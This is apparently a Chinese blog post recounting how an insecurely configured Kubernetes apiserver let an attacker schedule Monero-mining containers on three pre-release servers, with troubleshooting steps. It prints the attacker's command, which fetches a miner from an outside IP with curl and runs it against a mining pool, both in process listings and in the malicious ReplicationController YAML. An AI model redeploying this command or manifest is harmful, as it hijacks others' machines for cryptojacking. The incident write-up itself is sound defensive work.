记一次kubernetes被minerd挖矿入侵
以下是Kubernetes环境遭minerd挖矿程序入侵排查回顾：1. 某个月黑风高夜，临下班时，突然服务器A报警CPU占用过高，经查是minerd挖矿程序入侵。
https://images2015.cnblogs.com/blog/940734/201707/940734-20170703234843737-338169518.png
2. 看看这个程序在干什么？
# ps aux | grep minerd
root 23073 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23170 415 0.0 680236 14608 ? Ssl 20:18 39:07 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23329 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 24161 395 0.0 680236 14360 ? Ssl 20:19 33:35 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
威力很大，有三台服务器均在几分钟内CPU被耗尽而无法连接，只能重启一下调几分钟，反反复复。
3. 探索解决方法
百度谷歌了很多，得出一个结论，最有可能导致入侵的就是通过redis漏洞建立ssh连接操纵挖矿程序，笔者按照网上复制最多的解决方法做了以下操作：
- 防火墙禁止挖矿程序访问的域名，iptables -I INPUT -s xmr.pool.minergate.com -j DROP&& iptables -I OUTPUT -d xmr.pool.minergate.com -j DROP
- 禁止root登录，sed -i 's/PermitRootLogin yes/PermitRootLogin no/'/etc/ssh/sshd_config && service sshd restart，并查找ssh可疑文件和入侵痕迹
- 查找minerd程序运行路径并杀掉，这个地方我卡住了，因为怎么查都查不到minerd程序所在系统路径，我开始明白，这个程序已经不是当年的吴下阿蒙了，网上所有的方法已经对其不起作用，当我熬了一夜也没解决掉这个问题的时候，我发现了一个规律，这波攻击只涉及到了预发布环境的三台机器，生产环境并没有被入侵的迹象，于是我安心的睡了会儿觉。
4. 一觉醒来，继续战斗
当我脑子清醒一些的时候，我冷静的分析了一下预发布环境上运行的服务，是由Kubernetes负责调度的docker环境，于是从排查docker容器入手，果然发现了有5个容器在运行挖矿程序，这让我惊喜，终于知道为什么在系统里找不到程序的路径了，原来都运行在容器里。
5. 它凭什么能随意以root身份在我们的机器上运行容器呢？
通过排除法，我猜测可能是Kubernetes Master被控制了，由它调度其它三台机器运行挖矿程序，通过种种的蛛丝马迹，终于验证了这个猜测TT
https://images2015.cnblogs.com/blog/940734/201707/940734-20170704003318972-1651454952.png
# kubectl get rc mysql2 -o yaml//查看该挖矿程序的rc yaml文件
apiVersion: v1
kind: ReplicationController
metadata:
creationTimestamp: 2017-06-26T12:18:06Z
generation: 1
labels:
app: mysql2
name: mysql2
namespace: default
resourceVersion: "10312428"
selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2
uid: 823d6538-5a69-11e7-bf24-00163e0024e8
spec:
replicas: 5
selector:
app: mysql2
template:
metadata:
creationTimestamp: null
labels:
app: mysql2
spec:
containers:
- command:
- sh
- -c
- curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd &&
setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560
-u didi123123321@gmail.com -p x
image: centos
imagePullPolicy: Always
name: mysql2
resources: {}
terminationMessagePath: /dev/termination-log
dnsPolicy: ClusterFirst
restartPolicy: Always
securityContext: {}
terminationGracePeriodSeconds: 30
volumes:
- emptyDir: {}
name: shared-data
status:
fullyLabeledReplicas: 5
observedGeneration: 1
replicas: 5
6. 后续工作
由于本人目前对kubernetes了解有限，所以将这个入侵的情况反映给老大，然后老大给定位到被入侵的原因是由于Kubernetes Apiserver不安全配置所致，Apiserver提供了资源操作的唯一入口，并提供认证、授权、访问控制、API注册和发现等机制，所以apiserver的安全至关重要。
页:
[1]